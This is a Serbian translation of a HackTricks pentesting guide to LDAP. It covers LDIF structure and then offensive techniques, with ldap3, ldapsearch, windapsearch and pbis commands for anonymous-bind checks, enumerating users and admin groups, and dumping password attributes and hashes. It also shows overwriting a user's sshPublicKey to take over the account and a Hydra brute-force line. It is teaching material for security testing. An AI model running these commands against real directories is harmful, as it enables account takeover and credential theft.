# 389, 636, 3268, 3269 - Pentesting LDAP
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! Drugi načini podrške HackTricks-u: * Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
Korišćenje **LDAP** (Lightweight Directory Access Protocol) je uglavnom za lociranje različitih entiteta poput organizacija, pojedinaca i resursa poput fajlova i uređaja unutar mreža, kako javnih tako i privatnih. Nudi pojednostavljen pristup u poređenju sa svojim prethodnikom, DAP-om, imajući manji kodni otisak. LDAP direktorijumi su strukturirani da omoguće njihovu distribuciju preko nekoliko servera, pri čemu svaki server sadrži **replikovanu** i **sinhronizovanu** verziju direktorijuma, nazvanu Directory System Agent (DSA). Odgovornost za obradu zahteva leži isključivo na LDAP serveru, koji može komunicirati sa drugim DSAs po potrebi kako bi dostavio ujedinjeni odgovor zahtevaocu. Organizacija LDAP direktorijuma podseća na **hijerarhiju stabla, počevši od korenskog direktorijuma na vrhu**. Ovo se granči ka zemljama, koje se dalje dele na organizacije, a zatim na organizacione jedinice koje predstavljaju različite odeljenja ili departmane, konačno dostižući nivo individualnih entiteta, uključujući i ljude i deljene resurse poput fajlova i štampača. **Podrazumevani portovi:** 389 i 636 (ldaps). Globalni katalog (LDAP u ActiveDirectory-u) je dostupan podrazumevano na portovima 3268 i 3269 za LDAPS. ``` PORT STATE SERVICE REASON 389/tcp open ldap syn-ack 636/tcp open tcpwrapped ``` ### LDAP Data Interchange Format LDIF (LDAP Data Interchange Format) definiše sadržaj direktorijuma kao skup zapisa. Takođe može predstavljati zahteve za ažuriranje (Dodaj, Izmeni, Obriši, Preimenuj). ```bash dn: dc=local dc: local objectClass: dcObject dn: dc=moneycorp,dc=local dc: moneycorp objectClass: dcObject objectClass: organization dn ou=it,dc=moneycorp,dc=local objectClass: organizationalUnit ou: dev dn: ou=marketing,dc=moneycorp,dc=local objectClass: organizationalUnit Ou: sales dn: cn= ,ou= ,dc=moneycorp,dc=local objectClass: personalData cn: sn: gn: uid: ou: mail: pepe@hacktricks.xyz phone: 23627387495 ``` * Linije 1-3 definišu top nivo domena local * Linije 5-8 definišu prvi nivo domena moneycorp (moneycorp.local) * Linije 10-16 definišu 2 organizacione jedinice: dev i sales * Linije 18-26 kreiraju objekat domena i dodeljuju atribute sa vrednostima ## Upis podataka Imajte na umu da ako možete da menjate vrednosti, možete izvršiti zaista interesantne akcije. Na primer, zamislite da **možete promeniti informacije o "sshPublicKey"** vašeg korisnika ili bilo kog korisnika. Veoma je verovatno da ako ovaj atribut postoji, onda **ssh čita javne ključeve iz LDAP-a**. Ako možete da promenite javni ključ korisnika, **moći ćete da se prijavite kao taj korisnik čak i ako autentikacija lozinkom nije omogućena u ssh-u**. ```bash # Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/ >>> import ldap3 >>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True) >>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True) >>> connection.bind() True >>> connection.extend.standard.who_am_i() u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN' >>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]}) ``` ## Snifovanje jasnih lozinki Ako se LDAP koristi bez SSL-a, možete **snifovati lozinke u običnom tekstu** u mreži. Takođe, možete izvesti **MITM** napad u mreži **između LDAP servera i klijenta.** Ovde možete izvesti **Napad na smanjenje nivoa sigurnosti** kako bi klijent koristio **lozinke u običnom tekstu** za prijavljivanje. **Ako se koristi SSL** možete pokušati izvesti **MITM** kao što je gore navedeno, ali nudeći **lažni sertifikat**, ako ga **korisnik prihvati**, možete smanjiti nivo autentifikacije i ponovo videti lozinke. ## Anoniman pristup ### Zaobilaženje TLS SNI provere Prema [**ovom opisu**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) samo pristupanjem LDAP serveru sa proizvoljnim imenom domena (kao što je company.com) mogao je da kontaktira LDAP servis i izvuče informacije kao anonimni korisnik: ```bash ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + ``` ### LDAP anonimne veze [LDAP anonimne veze](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) omogućavaju **neautentifikovanim napadačima** da dobiju informacije iz domena, kao što su potpuni popis korisnika, grupa, računara, atributa korisničkih naloga i pravila lozinke domena. Ovo je **zastarela konfiguracija**, i od Windows Servera 2003, samo autentifikovanim korisnicima je dozvoljeno da pokrenu LDAP zahteve.\ Međutim, administratori su možda morali **podesiti određenu aplikaciju da dozvoli anonimne veze** i dali više pristupa nego što je bilo planirano, čime su omogućili neautentifikovanim korisnicima pristup svim objektima u AD. ## Validni Kredencijali Ako imate validne kredencijale za prijavljivanje na LDAP server, možete izlistati sve informacije o Administratoru domena koristeći: [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) ```bash pip3 install ldapdomaindump ldapdomaindump [-r ] -u '\' -p '' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir] ``` ### [Brute Force](../generic-methodologies-and-resources/brute-force.md#ldap) ## Enumeracija ### Automatizovano Korišćenjem ovoga, bićete u mogućnosti da vidite **javne informacije** (kao što je naziv domena)**:** ```bash nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials ``` ### Python
Pogledajte enumeraciju LDAP-a pomoću Pythona Možete pokušati **enumerisati LDAP sa ili bez pristupnih podataka koristeći Python**: `pip3 install ldap3` Prvo pokušajte **povezati se bez** pristupnih podataka: ```bash >>> import ldap3 >>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True) >>> connection = ldap3.Connection(server) >>> connection.bind() True >>> server.info ``` Ako je odgovor `True` kao u prethodnom primeru, možete dobiti neke **interesantne podatke** o LDAP (kao što su **kontekst imenovanja** ili **imenovanje domena**) servera sa: ```bash >>> server.info DSA info (from DSE): Supported LDAP versions: 3 Naming contexts: dc=DOMAIN,dc=DOMAIN ``` Kada jednom imate kontekst imenovanja, možete napraviti neke uzbudljivije upite. Ovaj jednostavan upit treba da vam prikaže sve objekte u direktorijumu: ```bash >>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*') True >> connection.entries ``` Ili **izbaci** ceo ldap: ```bash >> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword') True >>> connection.entries ```
### windapsearch [**Windapsearch**](https://github.com/ropnop/windapsearch) je Python skripta korisna za **nabrajanje korisnika, grupa i računara iz Windows** domena korišćenjem LDAP upita. ```bash # Get computers python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers # Get groups python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups # Get users python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da # Get Domain Admins python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da # Get Privileged Users python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users ``` ### ldapsearch Proverite nul kredencijale ili da li su vaše kredencijale validne: ```bash ldapsearch -x -H ldap:// -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=" ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" ``` ```bash # CREDENTIALS NOT VALID RESPONSE search: 2 result: 1 Operations error text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera tion a successful bind must be completed on the connection., data 0, v3839 ``` Ako pronađete nešto što kaže da "_bind mora biti završen_" znači da su pristupni podaci netačni. Možete izvući **sve sa domena** koristeći: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" -x Simple Authentication -H LDAP Server -D My User -w My password -b Base site, all data from here will be given ``` Izdvajanje **korisnika**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=" #Example: ldapsearch -x -H ldap:// -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local" ``` Izdvajanje **računara**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=" ``` Izdvajanje **mojih informacija**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` Izvuci **Domain Admins**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` Izvuci **Korisnike domena**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` Izdvajanje **Enterprise Admins**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` Izvuci **Administratori**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` Izvucite **Remote Desktop Group**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` Da biste videli da li imate pristup bilo kojoj lozinci, možete koristiti grep nakon izvršavanja jednog od upita: ```bash | grep -i -A2 -B2 "userpas" ``` #### pbis **Pbis** možete preuzeti sa [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) i obično se instalira u `/opt/pbis`.\ **Pbis** vam omogućava da lako dobijete osnovne informacije: ```bash #Read keytab file ./klist -k /etc/krb5.keytab #Get known domains info ./get-status ./lsa get-status #Get basic metrics ./get-metrics ./lsa get-metrics #Get users ./enum-users ./lsa enum-users #Get groups ./enum-groups ./lsa enum-groups #Get all kind of objects ./enum-objects ./lsa enum-objects #Get groups of a user ./list-groups-for-user ./lsa list-groups-for-user #Get groups of each user ./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done #Get users of a group ./enum-members --by-name "domain admins" ./lsa enum-members --by-name "domain admins" #Get users of each group ./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done #Get description of each user ./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n | grep "CN" | while read line; do echo "$line"; ./adtool --keytab=/etc/krb5.keytab -n -a lookup-object --dn="$line" --attr "description"; echo "======================" done ``` ## Grafički interfejs ### Apache Directory [**Preuzmite Apache Directory odavde**](https://directory.apache.org/studio/download/download-linux.html). Možete pronaći [primer kako koristiti ovaj alat ovde](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s). ### jxplorer Možete preuzeti grafički interfejs sa LDAP serverom ovde: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html) Podrazumevano je instaliran u: _/opt/jxplorer_ ![](<../.gitbook/assets/image (479).png>) ### Godap Možete pristupiti ovde: [https://github.com/Macmod/godap](https://github.com/Macmod/godap) ## Autentikacija putem kerberosa Korišćenjem `ldapsearch` možete **autentikovati** putem **kerberosa umesto** putem **NTLM** korišćenjem parametra `-Y GSSAPI` ## POST Ako možete pristupiti fajlovima gde se baze podataka nalaze (može biti u _/var/lib/ldap_). Možete izvući heševe korišćenjem: ```bash cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u ``` ### Konfiguracioni fajlovi * Opšte * containers.ldif * ldap.cfg * ldap.conf * ldap.xml * ldap-config.xml * ldap-realm.xml * slapd.conf * IBM SecureWay V3 server * V3.sas.oc * Microsoft Active Directory server * msadClassesAttrs.ldif * Netscape Directory Server 4 * nsslapd.sas\_at.conf * nsslapd.sas\_oc.conf * OpenLDAP directory server * slapd.sas\_at.conf * slapd.sas\_oc.conf * Sun ONE Directory Server 5.1 * 75sas.ldif ``` Protocol_Name: LDAP #Protocol Abbreviation if there is one. Port_Number: 389,636 #Comma separated if there is more than one. Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for LDAP Note: | The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint. https://book.hacktricks.xyz/pentesting/pentesting-ldap Entry_2: Name: Banner Grab Description: Grab LDAP Banner Command: nmap -p 389 --script ldap-search -Pn {IP} Entry_3: Name: LdapSearch Description: Base LdapSearch Command: ldapsearch -H ldap://{IP} -x Entry_4: Name: LdapSearch Naming Context Dump Description: Attempt to get LDAP Naming Context Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts Entry_5: Name: LdapSearch Big Dump Description: Need Naming Context to do big dump Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}" Entry_6: Name: Hydra Brute Force Description: Need User Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f ```
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! Drugi načini da podržite HackTricks: * Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.